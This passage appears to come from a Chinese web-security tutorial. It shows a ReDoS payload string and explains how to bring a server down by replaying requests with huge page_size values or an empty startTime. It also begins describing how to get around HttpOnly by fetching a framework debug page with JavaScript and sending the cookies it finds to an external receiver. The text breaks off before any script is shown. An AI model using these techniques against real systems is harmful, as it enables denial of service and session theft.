的格式即可):acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx
如下图所示ReDoS攻击成功:
我们只需要以同样的方式替换原请求包中的参数值即可(前提是该功能没有限制字符串长度和特殊字符)~
还有更多应用场景等待去发现,这里就不过多赘述了~
数据查询数量可控
想必如下这类接口大家都见多了吧:
/api/getInfo?page=1&page_size=10 ... |
而这类接口通常都是调用数据的,当一个系统数据量十分大(这也是拒绝服务的前提)的时候就需要分页功能去优化性能,那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样?比如page_size=10000
,再去请求会发现服务器明显有返回延迟(大量数据的查询展示):
那如果是page_size=100000000000
呢?想象一下,从查询到数据格式的处理返回展示,要占用巨大的服务器资源,我们如果尝试去多次重放此类请求,服务器终究还是无法承受这样的“力量”,最后导致宕机…
时间参数startTime
也是如此,我们可以置空或设为0
让其查询数据的时间范围为最大…以此类推、举一反三。
服务器开了HTTP-only如何获取cookie
什么是http-only
HttpOnly属性:
如果在Cookie中设置了”HttpOnly”属性,那么通过程序(JS脚本、Applet等)将无法读取到Cookie信息,这样能有效的防止XSS攻击。
如何绕过防御呢?
我们可以利用框架的DEBUG模式来获取,比如说PHP、Django等等框架都会有测试页面,这里用PHP来演示,核心原理就是利用js去请求debug页面,然后用正则匹配cookie字段,然后把cookie发送到接收平台上
<script> |